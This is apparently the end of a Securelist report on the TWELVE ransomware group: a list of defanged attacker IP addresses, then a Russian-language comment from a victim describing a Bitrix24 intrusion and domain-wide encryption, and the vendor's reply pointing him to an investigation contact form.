5.8[.]16.148
5.8[.]16.149
5.8[.]16.169
5.8[.]16.170
5.8[.]16.236
5.8[.]16.238
79.137[.]69.34
85.204[.]124.94
89.238[.]132.68
89.33[.]8.198
91.90[.]121.220
Возвращение группировки -=TWELVE=-
Вадим
Добрый день. Меня зовут Вадим, представляю компанию [redacted], 12/11/24 в корпоративной сети выявлены следы проникновения, несанкционированный вход был со стороны корп портала Битрикс24, входили на корп почту и кассовую линейку, везде где установлены Unix системы. В районе 12:50 стали появляться сообщения от пользователей что их ПК заражены шифровальщиком. Все ПК что были в домене к 13:30 зашифрованы. В тот же день со мной связались по телефону, говорят группировка TWELVE. Просят определённую сумму за ключ для расшифровки. Прошу оказать содействие, подсказать возможные действия и ПО для выявления и устранения уязвимостей.
Securelist
Добрый день, Вадим!
Пожалуйста, заполните форму по ссылке: https://www.kaspersky.ru/enterprise-security/contact-investigation или предоставьте контакт, по которому наши специалисты могут связаться с вашей компанией.